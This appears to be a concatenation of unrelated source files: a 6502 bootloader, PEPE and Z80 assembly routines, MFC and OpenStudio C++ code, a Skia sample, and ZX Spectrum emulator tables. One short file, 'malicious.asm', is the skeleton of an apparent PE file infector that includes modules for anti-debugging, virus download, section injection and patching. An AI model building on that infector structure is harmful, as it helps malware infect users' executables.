β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ LCD__send_data: sta PORTB ; write accumulator content into PORTB lda #(RS | E) sta PORTA ; set E bit AND register select bit to send instruction lda #0 sta PORTA ; clear RS/RW/E bits rts ;================================================================================ ; ; LIB__bin_to_hex: CONVERT BINARY BYTE TO HEX ASCII CHARS - THX Woz! ; ; Slighty modified version - original from Steven Wozniak for Apple I ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: .A: byte to convert ; ; Returned Values: .A: LSN ASCII char ; .X: MSN ASCII char ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ LIB__bin_to_hex: ldy #$ff ; state for output switching #TODO pha ; save A for LSD lsr lsr lsr lsr ; MSD to LSD position jsr .to_hex ; output hex digit, using internal recursion pla ; restore A .to_hex and #%00001111 ; mask LSD for hex print ora #"0" ; add "0" cmp #"9"+1 ; is it a decimal digit? bcc .output ; yes! output it adc #6 ; add offset for letter A-F .output iny ; set switch for second nibble processing bne .return ; did we process second nibble already? yes tax ; no .return rts ;================================================================================ ; ; LIB__sleep - sleeps for a given amount of cycles ; ; The routine does not actually sleep, but wait by burning cycles in TWO(!) ; nested loops. The user can configure the number of inner cycles via .A. ; In addition there is an outer loop, which nests the inner one, hence multiplies ; the number of burned cycles for ALL LIB__sleep calls by a globals multiplier. ; ; This way the whole codebase can easily be adjusted to other clock rates then ; 1MHz. The global number of outer cycles for 1MHz is $18 and stored in WAIT ; ; Unfortunately this calls for errors, where the global wait is not set back ; correctly. PR welcome ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: .A: byte representing the sleep duration ; ; Returned Values: none ; ; Destroys: .Y ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ LIB__sleep: ldy #WAIT_C sty WAIT .outerloop: tay .loop: dey bne .loop dec WAIT bne .outerloop rts message: .asciiz "Sixty/5o2 Bootloader v0.2" message2: .asciiz "Enter Command..." message3: .asciiz "Programming RAM" message4: .asciiz "Awaiting data..." message6: .asciiz "Loading done!" message7: .asciiz "Running $0x200" message8: .asciiz "Cleaning RAM Patience please!" MON__position_map: .byte $00, $01, $03, $05, $07, $09 menu_items: .text " Load & Run " .text " Load " .text " Run " .text " Monitor " .text " Clear RAM " .text " About " .text " Credits " about: .asciiz "Sixty/5o2 Bootloader and Monitor written by Jan Roesner <jan@roesner.it>git.io/JvTM1 " credits: .asciiz "Ben Eater 6502 Project Steven Wozniak bin2hex routine Anke L. love & patience" ;================================================================================ ; ; ISR - Interrupt Service Routine ; ; This might be the most naive approach to serial RAM writing ever, but it is ; enormously stable and effective. ; ; Whenever the Arduino set up a data bit on the 8 data lines of VIA PortB, it ; pulls the 6502's interrupt line low for 3 microseconds. This triggers an ; interrupt, and causes the 6502 to lookup the ISR entry vector in memory ; location $fffe and $ffff. This is, where this routines address is put, so ; each time an interrupt is triggered, this routine is called. ; ; The routine reads the current byte from VIA PortB, writes it to the RAM and ; increases the RAM address by $01. ; ; In addition it REsets the LOADING_STATE byte, so the BOOTLOADER__program_ram ; routine knows, there is still data flowing in. Since there is no "Control Byte" ; that can be used to determine EOF, it is ust assumed, that EOF is reached, when ; no data came in for a defined number of cycles. ; ; Important: Due to the current hardware design (interrupt line) there is no ; way to have the ISR service different interrupt calls. ; ; Important: The routine is put as close to the end of the ROM as possible to ; not fragment the ROM for additional routines. In case of additional ; operations, the entry address needs recalculation! ; ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: none ; ; Returned Values: none ; ; Destroys: none ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ .org $FFC9 ; as close as possible to the ROM's end ISR: CURRENT_RAM_ADDRESS = Z0 ; a RAM address handle for indirect writing pha tya pha ; for a reason I dont get, the ISR is called once with 0x00 lda ISR_FIRST_RUN ; check whether we are called for the first time bne .write_data ; if not, just continue writing lda #1 ; otherwise set the first time marker sta ISR_FIRST_RUN ; and return from the interrupt jmp .doneisr .write_data: lda #$01 ; progressing state of loading operation sta LOADING_STATE ; so program_ram routine knows, data's still flowing lda PORTB ; load serial data byte ldy #0 sta (CURRENT_RAM_ADDRESS),Y ; store byte at current RAM location ; increase the 16bit RAM location inc CURRENT_RAM_ADDRESS_L bne .doneisr inc CURRENT_RAM_ADDRESS_H .doneisr pla ; restore Y tay pla ; restore A rti .org $fffc .word main ; entry vector main routine .word ISR ; entry vector interrupt service routine
; PEPE gerado por 'lcc' (IST: prs 2005) ; 'rl' serve como frame-pointer e 'r0' como acumulador ; os registos 'r1' a 'r10' sao preservados nas chamadas PLACE 0 CALL main SWE 240 ; exit(code in r0) ; global printf ; TEXT printf: ; ncalls=5 PUSH r9 PUSH r10 PUSH rl MOV rl, sp ; P_fmt EQU 8 SUB sp, 2 MOV r10, -2 ADD r10, rl MOV r9, 8 ADD r9, rl MOV [r10],r9 JMP L3 L2: MOV r10, 8 ADD r10, rl MOV r10,[r10] MOVB r10, [r10] MOV r9,37 CMP r10,r9 JNE L5 MOV r10, 8 ADD r10, rl MOV r9, 8 ADD r9, rl MOV r9,[r9] ADD r9,1 MOV [r10],r9 MOV r10, 8 ADD r10, rl MOV r10,[r10] MOVB r10, [r10] MOV r9,100 CMP r10,r9 JNE L7 MOV r10, -2 ADD r10, rl MOV r9, -2 ADD r9, rl MOV r9,[r9] ADD r9,2 MOV [r10],r9 MOV r10, -2 ADD r10, rl MOV r10,[r10] MOV r10,[r10] PUSH r10 CALL printi ADD sp,2 JMP L6 L7: MOV r10, 8 ADD r10, rl MOV r10,[r10] MOVB r10, [r10] MOV r9,115 CMP r10,r9 JNE L9 MOV r10, -2 ADD r10, rl MOV r9, -2 ADD r9, rl MOV r9,[r9] ADD r9,2 MOV [r10],r9 MOV r10, -2 ADD r10, rl MOV r10,[r10] MOV r10,[r10] PUSH r10 CALL prints ADD sp,2 JMP L6 L9: MOV r10, 8 ADD r10, rl MOV r10,[r10] MOVB r10, [r10] MOV r9,99 CMP r10,r9 JNE L11 MOV r10, -2 ADD r10, rl MOV r9, -2 ADD r9, rl MOV r9,[r9] ADD r9,2 MOV [r10],r9 MOV r10, -2 ADD r10, rl MOV r10,[r10] MOV r10,[r10] PUSH r10 CALL printch ADD sp,2 JMP L6 L11: MOV r10, 8 ADD r10, rl MOV r10,[r10] MOVB r10, [r10] PUSH r10 CALL printch ADD sp,2 JMP L6 L5: MOV r10, 8 ADD r10, rl MOV r10,[r10] MOVB r10, [r10] PUSH r10 CALL printch ADD sp,2 L6: MOV r10, 8 ADD r10, rl MOV r9, 8 ADD r9, rl MOV r9,[r9] ADD r9,1 MOV [r10],r9 L3: MOV r10, 8 ADD r10, rl MOV r10,[r10] MOVB r10, [r10] CMP r10,0 JNE L2 MOV r0,0 L1: MOV sp, rl POP rl POP r9 POP r10 RET ; global main main: ; ncalls=1 PUSH r10 PUSH rl MOV rl, sp MOV r10,10 PUSH r10 MOV r10,123 PUSH r10 MOV r10,L15 PUSH r10 MOV r10,L14 PUSH r10 CALL printf ADD sp,14 MOV r0,0 L13: MOV sp, rl POP rl POP r10 RET ; extern printch ; extern prints ; extern printi ; RODATA L15: STRING "bkabka", 0 L14: STRING "%s %d %c", 0
; malicious.asm .386 .model flat, stdcall assume fs:nothing option casemap:none include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\msvcrt.inc include macro.asm .code toInject: include padding_patch.asm include private_data.asm include declare_independance.asm include create_thread.asm include anti_dbg.asm include dl_virus.asm include get_info_file.asm include iat_info.asm include create_header.asm include create_section.asm include create_patches.asm ; DEBUG FILE INJECTED push 0 PDELTA DebugDone PDELTA FileData.cFileName push 0 call [DELTA pMessageBox] include manage_exit.asm include utils.asm endInject: end toInject
; Substitute for z80 rrd instruction ; aralbrec 06.2007 SECTION code_crt0_sccz80 PUBLIC __z80asm__rrd .__z80asm__rrd jr nc, dorrd call dorrd scf ret .dorrd srl a rr (hl) rra rr (hl) rra rr (hl) rra rr (hl) ; a = [bits(HL):210, 0, bits(A):7654], carry = bit 3 of (HL) rra rra rra rra rra or a ret
BITS 64 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS= ;TEST_FILE_META_END ;TEST_BEGIN_RECORDING FLDL2E ;TEST_END_RECORDING
// This is a part of the Microsoft Foundation Classes C++ library. // Copyright (C) 1992-1997 Microsoft Corporation // All rights reserved. // // This source code is only intended as a supplement to the // Microsoft Foundation Classes Reference and related // electronic documentation provided with the library. // See these sources for detailed information regarding the // Microsoft Foundation Classes product. #include "stdafx.h" #ifdef AFX_OLE5_SEG #pragma code_seg(AFX_OLE5_SEG) #endif // Note: because of the nature of these functions, it is not possible // to create a 'C' or 'C++' version of them. These functions are used // for the lowest level of the OLE IDispatch implementation, and need // to be ported to each supported platform. extern "C" { ///////////////////////////////////////////////////////////////////////////// // Intel 386 version #ifdef _X86_ __declspec(naked) void AFXAPI _AfxDispatchCall(AFX_PMSG /*pfn*/, void* /*pArgs*/, UINT /*nSizeArgs*/) { #if defined(__BORLANDC__) /* Note: This routine is specific to the Borland C++ 5.x Pointer-to-Member-Function (PFM) binary layout. By default, -Vmv is on (member pointers have no restrictions) and thus the layout in 32-bit apps is 12-bytes. If any of the other -Vm... switches are used, this routine may have to be modified to support a different size PMF. We recommend that -Vmv always be used. */ __emit__(0x5A, // pop edx ; edx = return address 0x58, // pop eax ; eax = pfn (PMF addr) 0x59, // pop ecx ; (extra PMF dword #1) 0x59, // pop ecx ; (extra PMF dword #2) 0x59, // pop ecx ; ecx = pArgs 0x50, // push eax 0x8B,0x44,0x24,0x04, // mov eax,[esp+4] ; eax = nSizeArgs 0x03,0xC8, // add ecx,eax ; ecx += nSizeArgs (=scratch area) 0x89,0x19, // mov [ecx],ebx ; scratch[0] = ebx 0x89,0x51,0x04, // mov [ecx+4],edx ; scratch[1] = return address 0x8B,0xD8, // mov ebx,eax ; ebx = nSizeArgs (saved across call) 0x58, // pop eax 0x2B,0x0C,0x24, // sub ecx,[esp] ; ecx = pArgs (again) 0x8B,0xE1, // mov esp,ecx ; esp = pArgs (usually already correct) '\xFF',0xD0, // call eax ; call member function 0x03,0xE3, // add esp,ebx ; cleanup arguments 0x5B, // pop ebx ; restore ebx 0xC3 // ret ; esp[0] should = scratch[0] = return address ); #else _asm { pop edx // edx = return address pop eax // eax = pfn pop ecx // ecx = pArgs add ecx,[esp] // ecx += nSizeArgs (=scratch area) mov [ecx],edx // scratch[0] = return address sub ecx,[esp] // ecx = pArgs (again) mov esp,ecx // esp = pArgs (usually already correct) pop ecx // ecx = this pointer (the CCmdTarget*) call eax // call member function ret // esp[0] should = scratch[0] = return address } #endif } #endif // _X86_ ///////////////////////////////////////////////////////////////////////////// // MIPS R4000 version #ifdef _MIPS_ extern "C" void _asm(char *, ...); void AFXAPI _AfxDispatchCall(AFX_PMSG /*pfn*/, void* /*pArgs*/, UINT /*nSizeArgs*/) { _asm("addiu %sp,%a1,0x0"); // sp = pArgs _asm("addiu %t6,%a0,0x0"); // t6 = pfn (save it) _asm("lw %a0,0x0(%sp)"); // a0 = param0 _asm("lw %a1,0x4(%sp)"); // a1 = param1 _asm("lw %a2,0x8(%sp)"); // a2 = param2 _asm("lw %a3,0xc(%sp)"); // a3 = param3 _asm("j %t6"); // ip = pfn (jump to target function) } #endif // _MIPS_ ///////////////////////////////////////////////////////////////////////////// // DEC Alpha AXP version #ifdef _ALPHA_ // Note: ALPHA version is in src\alpha\olecall_.s // The ALPHA compiler does not support inline assembly, so it // must be build separately with the ASAXP assembler. #endif // _ALPHA_ ///////////////////////////////////////////////////////////////////////////// // 680x0 version #ifdef _68K_ // Note: Mac68k version is in src\m68k\olecall.obj // The 68k compiler does not support inline assembly, so it // has been build separate and included as an object #endif // _68K_ ///////////////////////////////////////////////////////////////////////////// // PowerMac version #ifdef _MPPC_ // Note: MacPPC version is in src\mppc\olecall.obj // The Mac PowerPC compiler does not support inline assembly, so it // has been build separate and included as an object #endif // _MPPC_ } // end extern "C" block /////////////////////////////////////////////////////////////////////////////
/*********************************************************************************************************************** * OpenStudio(R), Copyright (c) 2008-2018, Alliance for Sustainable Energy, LLC. All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the * following conditions are met: * * (1) Redistributions of source code must retain the above copyright notice, this list of conditions and the following * disclaimer. * * (2) Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials provided with the distribution. * * (3) Neither the name of the copyright holder nor the names of any contributors may be used to endorse or promote products * derived from this software without specific prior written permission from the respective party. * * (4) Other than as required in clauses (1) and (2), distributions in any form of modifications or other derivative works * may not use the "OpenStudio" trademark, "OS", "os", or any other confusingly similar designation without specific prior * written permission from Alliance for Sustainable Energy, LLC. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER(S) AND ANY CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER(S), ANY CONTRIBUTORS, THE UNITED STATES GOVERNMENT, OR THE UNITED * STATES DEPARTMENT OF ENERGY, NOR ANY OF THEIR EMPLOYEES, BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ***********************************************************************************************************************/ #ifndef MODEL_FANZONEEXHAUST_IMPL_HPP #define MODEL_FANZONEEXHAUST_IMPL_HPP #include "ModelAPI.hpp" #include "ZoneHVACComponent_Impl.hpp" namespace openstudio { namespace model { class Schedule; namespace detail { /** FanZoneExhaust_Impl is a ZoneHVACComponent_Impl that is the implementation class for FanZoneExhaust.*/ class MODEL_API FanZoneExhaust_Impl : public ZoneHVACComponent_Impl { public: /** @name Constructors and Destructors */ //@{ FanZoneExhaust_Impl(const IdfObject& idfObject, Model_Impl* model, bool keepHandle); FanZoneExhaust_Impl(const openstudio::detail::WorkspaceObject_Impl& other, Model_Impl* model, bool keepHandle); FanZoneExhaust_Impl(const FanZoneExhaust_Impl& other, Model_Impl* model, bool keepHandle); virtual ~FanZoneExhaust_Impl() {} //@} /** @name Virtual Methods */ //@{ virtual const std::vector<std::string>& outputVariableNames() const override; virtual IddObjectType iddObjectType() const override; virtual std::vector<ModelObject> children() const override; virtual std::vector<ScheduleTypeKey> getScheduleTypeKeys(const Schedule& schedule) const override; virtual boost::optional<ThermalZone> thermalZone() override; virtual bool addToThermalZone(ThermalZone & thermalZone) override; virtual unsigned inletPort() const override; virtual unsigned outletPort() const override; //@} /** @name Getters */ //@{ boost::optional<Schedule> availabilitySchedule() const; double fanEfficiency() const; double pressureRise() const; boost::optional<double> maximumFlowRate() const; std::string endUseSubcategory() const; boost::optional<Schedule> flowFractionSchedule() const; std::string systemAvailabilityManagerCouplingMode() const; boost::optional<Schedule> minimumZoneTemperatureLimitSchedule() const; boost::optional<Schedule> balancedExhaustFractionSchedule() const; virtual std::vector<EMSActuatorNames> emsActuatorNames() const override; virtual std::vector<std::string> emsInternalVariableNames() const override; //@} /** @name Setters */ //@{ bool setAvailabilitySchedule(Schedule& schedule); void resetAvailabilitySchedule(); bool setFanEfficiency(double fanEfficiency); bool setPressureRise(double pressureRise); bool setMaximumFlowRate(boost::optional<double> maximumFlowRate); void resetMaximumFlowRate(); bool setEndUseSubcategory(std::string endUseSubcategory); bool setFlowFractionSchedule(Schedule& schedule); void resetFlowFractionSchedule(); bool setSystemAvailabilityManagerCouplingMode(std::string systemAvailabilityManagerCouplingMode); bool setMinimumZoneTemperatureLimitSchedule(Schedule& schedule); void resetMinimumZoneTemperatureLimitSchedule(); bool setBalancedExhaustFractionSchedule(Schedule& schedule); void resetBalancedExhaustFractionSchedule(); //@} /** @name Other */ //@{ AirflowNetworkZoneExhaustFan getAirflowNetworkZoneExhaustFan(const AirflowNetworkCrack& crack); boost::optional<AirflowNetworkZoneExhaustFan> airflowNetworkZoneExhaustFan() const; //@} protected: private: REGISTER_LOGGER("openstudio.model.FanZoneExhaust"); }; } // detail } // model } // openstudio #endif // MODEL_FANZONEEXHAUST_IMPL_HPP
SECTION code_driver PUBLIC lcd_putchar PUBLIC _lcd_putchar PUBLIC asm_lcd_putchar EXTERN __console_x EXTERN asm_lcd_get_ddram_addr EXTERN asm_lcd_get_vram_addr EXTERN asm_lcd_write_control EXTERN asm_lcd_write_data INCLUDE "hd44780.def" lcd_putchar: _lcd_putchar: pop bc pop hl push hl push bc ld bc,(__console_x) ld a,l ; a = character ; b = y ; c = x asm_lcd_putchar: push af ld d,a push bc ; First of all, put onto the VRAM map call asm_lcd_get_vram_addr ld (hl),d pop bc call asm_lcd_get_ddram_addr ld a,LCD_SETDDRAMADDR or l call asm_lcd_write_control pop af call asm_lcd_write_data ret
/* * Copyright 2011 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include "SampleCode.h" #include "SkView.h" #include "SkCanvas.h" #include "SkData.h" #include "SkDecodingImageGenerator.h" #include "SkGradientShader.h" #include "SkGraphics.h" #include "SkImageDecoder.h" #include "SkImageEncoder.h" #include "SkPath.h" #include "SkRegion.h" #include "SkShader.h" #include "SkUtils.h" #include "SkXfermode.h" #include "SkColorPriv.h" #include "SkColorFilter.h" #include "SkTime.h" #include "SkTypeface.h" #include "SkStream.h" static void make_image(SkBitmap* bm, SkColorType ct, int configIndex) { const int width = 98; const int height = 100; const SkImageInfo info = SkImageInfo::Make(width, height, ct, kPremul_SkAlphaType); SkBitmap device; device.allocN32Pixels(width, height); SkCanvas canvas(device); SkPaint paint; paint.setAntiAlias(true); canvas.drawColor(SK_ColorRED); paint.setColor(SK_ColorBLUE); canvas.drawCircle(SkIntToScalar(width)/2, SkIntToScalar(height)/2, SkIntToScalar(width)/2, paint); switch (ct) { case kN32_SkColorType: bm->swap(device); break; case kRGB_565_SkColorType: { bm->allocPixels(info); for (int y = 0; y < height; y++) { for (int x = 0; x < width; x++) { *bm->getAddr16(x, y) = SkPixel32ToPixel16(*device.getAddr32(x, y)); } } break; } case kIndex_8_SkColorType: { SkPMColor colors[256]; for (int i = 0; i < 256; i++) { if (configIndex & 1) { colors[i] = SkPackARGB32(255-i, 0, 0, 255-i); } else { colors[i] = SkPackARGB32(0xFF, i, 0, 255-i); } } SkColorTable* ctable = new SkColorTable(colors, 256); bm->allocPixels(info, NULL, ctable); ctable->unref(); for (int y = 0; y < height; y++) { for (int x = 0; x < width; x++) { *bm->getAddr8(x, y) = SkGetPackedR32(*device.getAddr32(x, y)); } } break; } default: SkASSERT(0); } } // configs to build the original bitmap in. Can be at most these 3 static const SkColorType gColorTypes[] = { kN32_SkColorType, kRGB_565_SkColorType, kIndex_8_SkColorType, // opaque kIndex_8_SkColorType // alpha }; static const char* const gConfigLabels[] = { "8888", "565", "Index8", "Index8 alpha" }; // types to encode into. Can be at most these 3. Must match up with gExt[] static const SkImageEncoder::Type gTypes[] = { SkImageEncoder::kJPEG_Type, SkImageEncoder::kPNG_Type }; // must match up with gTypes[] static const char* const gExt[] = { ".jpg", ".png" }; #include <sys/stat.h> class EncodeView : public SampleView { public: SkBitmap* fBitmaps; SkAutoDataUnref* fEncodedPNGs; SkAutoDataUnref* fEncodedJPEGs; int fBitmapCount; EncodeView() { fBitmapCount = SK_ARRAY_COUNT(gColorTypes); fBitmaps = new SkBitmap[fBitmapCount]; fEncodedPNGs = new SkAutoDataUnref[fBitmapCount]; fEncodedJPEGs = new SkAutoDataUnref[fBitmapCount]; for (int i = 0; i < fBitmapCount; i++) { make_image(&fBitmaps[i], gColorTypes[i], i); for (size_t j = 0; j < SK_ARRAY_COUNT(gTypes); j++) { SkAutoTDelete<SkImageEncoder> codec( SkImageEncoder::Create(gTypes[j])); if (NULL == codec.get()) { SkDebugf("[%s:%d] failed to encode %s%s\n", __FILE__, __LINE__,gConfigLabels[i], gExt[j]); continue; } SkAutoDataUnref data(codec->encodeData(fBitmaps[i], 100)); if (NULL == data.get()) { SkDebugf("[%s:%d] failed to encode %s%s\n", __FILE__, __LINE__,gConfigLabels[i], gExt[j]); continue; } if (SkImageEncoder::kJPEG_Type == gTypes[j]) { fEncodedJPEGs[i].reset(data.detach()); } else if (SkImageEncoder::kPNG_Type == gTypes[j]) { fEncodedPNGs[i].reset(data.detach()); } } } this->setBGColor(0xFFDDDDDD); } virtual ~EncodeView() { delete[] fBitmaps; delete[] fEncodedPNGs; delete[] fEncodedJPEGs; } protected: // overrides from SkEventSink virtual bool onQuery(SkEvent* evt) { if (SampleCode::TitleQ(*evt)) { SampleCode::TitleR(evt, "ImageEncoder"); return true; } return this->INHERITED::onQuery(evt); } virtual void onDrawContent(SkCanvas* canvas) { if (fBitmapCount == 0) { return; } SkPaint paint; paint.setAntiAlias(true); paint.setTextAlign(SkPaint::kCenter_Align); canvas->translate(SkIntToScalar(10), SkIntToScalar(20)); SkScalar x = 0, y = 0, maxX = 0; const int SPACER = 10; for (int i = 0; i < fBitmapCount; i++) { canvas->drawText(gConfigLabels[i], strlen(gConfigLabels[i]), x + SkIntToScalar(fBitmaps[i].width()) / 2, 0, paint); y = paint.getTextSize(); canvas->drawBitmap(fBitmaps[i], x, y); SkScalar yy = y; for (size_t j = 0; j < SK_ARRAY_COUNT(gTypes); j++) { yy += SkIntToScalar(fBitmaps[i].height() + 10); SkBitmap bm; SkData* encoded = NULL; if (SkImageEncoder::kJPEG_Type == gTypes[j]) { encoded = fEncodedJPEGs[i].get(); } else if (SkImageEncoder::kPNG_Type == gTypes[j]) { encoded = fEncodedPNGs[i].get(); } if (encoded) { if (!SkInstallDiscardablePixelRef( SkDecodingImageGenerator::Create(encoded, SkDecodingImageGenerator::Options()), &bm, NULL)) { SkDebugf("[%s:%d] failed to decode %s%s\n", __FILE__, __LINE__,gConfigLabels[i], gExt[j]); } canvas->drawBitmap(bm, x, yy); } } x += SkIntToScalar(fBitmaps[i].width() + SPACER); if (x > maxX) { maxX = x; } } y = (paint.getTextSize() + SkIntToScalar(fBitmaps[0].height())) * 3 / 2; x = maxX + SkIntToScalar(10); paint.setTextAlign(SkPaint::kLeft_Align); for (size_t j = 0; j < SK_ARRAY_COUNT(gExt); j++) { canvas->drawText(gExt[j], strlen(gExt[j]), x, y, paint); y += SkIntToScalar(fBitmaps[0].height() + SPACER); } } virtual SkView::Click* onFindClickHandler(SkScalar x, SkScalar y, unsigned modi) { this->inval(NULL); return this->INHERITED::onFindClickHandler(x, y, modi); } private: typedef SampleView INHERITED; }; ////////////////////////////////////////////////////////////////////////////// static SkView* MyFactory() { return new EncodeView; } static SkViewRegister reg(MyFactory);
; ZX Spectrum emulator ; Psion screen drawing ; (c) Freeman, August 2000, Prague ; ----------------------------------------------------------------------------- DrawInkBytes MACRO lodsw xlat cs:BitSwapTable xchg al, ah xlat cs:BitSwapTable xchg al, ah stosw ENDM ; ----------------------------------------------------------------------------- ScrWidth EQU 480 ScrHeight EQU 160 ScrRow EQU ScrWidth/8 ScrSegment EQU 040h ScrBytes EQU ScrRow*ScrHeight ScrGray EQU ScrBytes ScrRowNext EQU ScrRow-32 ScrRowSkip EQU (ScrRow-32)/2 ; ----------------------------------------------------------------------------- DrawModeIN EQU 0 DrawModeBW EQU 1 DrawModeGR EQU 2 ; ----------------------------------------------------------------------------- BW00 EQU 0 BW01 EQU 1 BW10 EQU 2 BW11 EQU 3 ; ----------------------------------------------------------------------------- GR00 EQU 0 GR01 EQU 1 GR02 EQU 2 GR10 EQU 3 GR11 EQU 4 GR12 EQU 5 GR20 EQU 6 GR21 EQU 7 GR22 EQU 8 ; ----------------------------------------------------------------------------- ALIGN ScrPtr DW ? FlashMask DW ? DataSeg DW ? ZXSeg DW ? LastBorder DW ? ; ----------------------------------------------------------------------------- BitSwapTable DB 000h, 080h, 040h, 0C0h, 020h, 0A0h, 060h, 0E0h DB 010h, 090h, 050h, 0D0h, 030h, 0B0h, 070h, 0F0h DB 008h, 088h, 048h, 0C8h, 028h, 0A8h, 068h, 0E8h DB 018h, 098h, 058h, 0D8h, 038h, 0B8h, 078h, 0F8h DB 004h, 084h, 044h, 0C4h, 024h, 0A4h, 064h, 0E4h DB 014h, 094h, 054h, 0D4h, 034h, 0B4h, 074h, 0F4h DB 00Ch, 08Ch, 04Ch, 0CCh, 02Ch, 0ACh, 06Ch, 0ECh DB 01Ch, 09Ch, 05Ch, 0DCh, 03Ch, 0BCh, 07Ch, 0FCh DB 002h, 082h, 042h, 0C2h, 022h, 0A2h, 062h, 0E2h DB 012h, 092h, 052h, 0D2h, 032h, 0B2h, 072h, 0F2h DB 00Ah, 08Ah, 04Ah, 0CAh, 02Ah, 0AAh, 06Ah, 0EAh DB 01Ah, 09Ah, 05Ah, 0DAh, 03Ah, 0BAh, 07Ah, 0FAh DB 006h, 086h, 046h, 0C6h, 026h, 0A6h, 066h, 0E6h DB 016h, 096h, 056h, 0D6h, 036h, 0B6h, 076h, 0F6h DB 00Eh, 08Eh, 04Eh, 0CEh, 02Eh, 0AEh, 06Eh, 0EEh DB 01Eh, 09Eh, 05Eh, 0DEh, 03Eh, 0BEh, 07Eh, 0FEh DB 001h, 081h, 041h, 0C1h, 021h, 0A1h, 061h, 0E1h DB 011h, 091h, 051h, 0D1h, 031h, 0B1h, 071h, 0F1h DB 009h, 089h, 049h, 0C9h, 029h, 0A9h, 069h, 0E9h DB 019h, 099h, 059h, 0D9h, 039h, 0B9h, 079h, 0F9h DB 005h, 085h, 045h, 0C5h, 025h, 0A5h, 065h, 0E5h DB 015h, 095h, 055h, 0D5h, 035h, 0B5h, 075h, 0F5h DB 00Dh, 08Dh, 04Dh, 0CDh, 02Dh, 0ADh, 06Dh, 0EDh DB 01Dh, 09Dh, 05Dh, 0DDh, 03Dh, 0BDh, 07Dh, 0FDh DB 003h, 083h, 043h, 0C3h, 023h, 0A3h, 063h, 0E3h DB 013h, 093h, 053h, 0D3h, 033h, 0B3h, 073h, 0F3h DB 00Bh, 08Bh, 04Bh, 0CBh, 02Bh, 0ABh, 06Bh, 0EBh DB 01Bh, 09Bh, 05Bh, 0DBh, 03Bh, 0BBh, 07Bh, 0FBh DB 007h, 087h, 047h, 0C7h, 027h, 0A7h, 067h, 0E7h DB 017h, 097h, 057h, 0D7h, 037h, 0B7h, 077h, 0F7h DB 00Fh, 08Fh, 04Fh, 0CFh, 02Fh, 0AFh, 06Fh, 0EFh DB 01Fh, 09Fh, 05Fh, 0DFh, 03Fh, 0BFh, 07Fh, 0FFh ; ----------------------------------------------------------------------------- AttrTableBW DB BW00, BW01, BW01, BW01, BW01, BW01, BW01, BW01 DB BW10, BW00, BW01, BW01, BW01, BW01, BW01, BW01 DB BW10, BW10, BW00, BW01, BW01, BW01, BW01, BW01 DB BW10, BW10, BW10, BW00, BW01, BW01, BW01, BW01 DB BW10, BW10, BW10, BW10, BW11, BW01, BW01, BW01 DB BW10, BW10, BW10, BW10, BW10, BW11, BW01, BW01 DB BW10, BW10, BW10, BW10, BW10, BW10, BW11, BW01 DB BW10, BW10, BW10, BW10, BW10, BW10, BW10, BW11 DB BW00, BW01, BW01, BW01, BW01, BW01, BW01, BW01 DB BW10, BW00, BW01, BW01, BW01, BW01, BW01, BW01 DB BW10, BW10, BW00, BW01, BW01, BW01, BW01, BW01 DB BW10, BW10, BW10, BW00, BW01, BW01, BW01, BW01 DB BW10, BW10, BW10, BW10, BW11, BW01, BW01, BW01 DB BW10, BW10, BW10, BW10, BW10, BW11, BW01, BW01 DB BW10, BW10, BW10, BW10, BW10, BW10, BW11, BW01 DB BW10, BW10, BW10, BW10, BW10, BW10, BW10, BW11 DB BW00, BW10, BW10, BW10, BW10, BW10, BW10, BW10 DB BW01, BW00, BW10, BW10, BW10, BW10, BW10, BW10 DB BW01, BW01, BW00, BW10, BW10, BW10, BW10, BW10 DB BW01, BW01, BW01, BW00, BW10, BW10, BW10, BW10 DB BW01, BW01, BW01, 